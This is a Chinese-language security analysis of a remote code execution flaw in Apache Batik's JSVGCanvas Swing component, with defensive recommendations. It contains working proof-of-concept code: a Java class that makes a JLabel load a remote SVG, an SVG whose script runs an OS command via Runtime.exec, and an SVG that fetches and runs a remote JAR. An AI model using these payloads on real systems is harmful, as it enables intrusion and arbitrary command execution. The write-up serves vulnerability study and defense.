batik-swing 组件造成的 rce 漏洞
字数 1139 2025-08-22 12:23:19
Apache Batik Swing组件远程代码执行漏洞分析
漏洞概述
Apache Batik是一个用于处理SVG(可缩放矢量图形)格式文件的Java工具包。其中batik-swing组件包含的JSVGCanvas类存在远程代码执行漏洞,攻击者可以通过构造特殊的SVG文件或HTML对象标签,诱使目标系统加载恶意代码并执行任意命令。
漏洞原理
该漏洞的核心在于JSVGCanvas类能够加载并执行远程SVG文件中的JavaScript代码,而SVG文件支持内嵌ECMAScript脚本,这些脚本可以通过Java的反射机制调用Java API,最终导致任意代码执行。
漏洞利用方式
方式一:SVG-JS触发
利用代码
package me.n1ar4.exploit;
import javax.swing.*;
import java.lang.reflect.Field;
public class JSRCE {
public Object getObject() throws Exception {
JLabel label = new JLabel();
label.putClientProperty("html.disable", false);
Field textField = label.getClass().getDeclaredField("text");
textField.setAccessible(true);
textField.set(label,"<html><object " +
"classid=\"org.apache.batik.swing.JSVGCanvas\">" +
"<param name=\"URI\" value=\"http://localhost:8886/2.xml\"></object></html>");
return label;
}
public static void main(String[] args) throws Exception{
Object t = new JSRCE().getObject();
byte[] d = SerUtil.serialize(t);
SerUtil.deserialize(d);
}
}
恶意SVG文件内容
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<circle cx="50" cy="50" r="50" fill="green" onload="showFrame()"/>
<script type="text/ecmascript">
importPackage(Packages.java.lang);
function showFrame() {
Runtime.getRuntime().exec("calc.exe");
}
</script>
</svg>
方式二:SVG-JAR触发
利用代码
与方式一相同,只是引用的SVG文件不同。
恶意SVG文件内容
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
version="1.0">
<script type="application/java-archive"
xlink:href="http://localhost:8887/exploit.jar"/>
<text>Static text ...</text>
</svg>
漏洞分析
触发流程
- 攻击者构造一个JLabel对象,设置其text属性为包含恶意object标签的HTML
- object标签指定classid为
org.apache.batik.swing.JSVGCanvas - 通过param设置URI参数指向恶意SVG文件
- 当目标系统解析该HTML时,会加载并执行SVG文件中的恶意代码
关键点分析
-
HTML OBJECT标签解析:
- Java Swing的HTML解析器支持OBJECT标签
- classid属性指定要实例化的Java类
- param标签用于设置类实例的参数
-
JSVGCanvas类:
- 必须有无参构造函数
- 必须继承Component接口
- 提供setURI方法用于加载远程SVG
-
SVG脚本执行:
- SVG支持内嵌ECMAScript脚本
- 脚本可以通过Java反射调用Java API
- 通过
importPackage可以导入Java包 - 能够直接调用
Runtime.getRuntime().exec()
-
JAR加载:
- SVG支持通过
application/java-archive类型加载远程JAR - 加载的JAR会被执行
- SVG支持通过
防御措施
- 升级到最新版本的Apache Batik
- 禁用HTML中的OBJECT标签解析
- 限制SVG文件中的脚本执行
- 对加载的远程资源进行严格校验
- 使用安全策略限制Java的反射和外部命令执行能力
参考链接
总结
该漏洞展示了Java Swing组件与SVG解析器结合使用时可能带来的安全风险。攻击者可以通过精心构造的HTML和SVG文件,利用Java的反射机制和脚本执行能力实现远程代码执行。开发人员在使用相关组件时应特别注意安全配置,及时更新依赖库,并对用户输入进行严格过滤。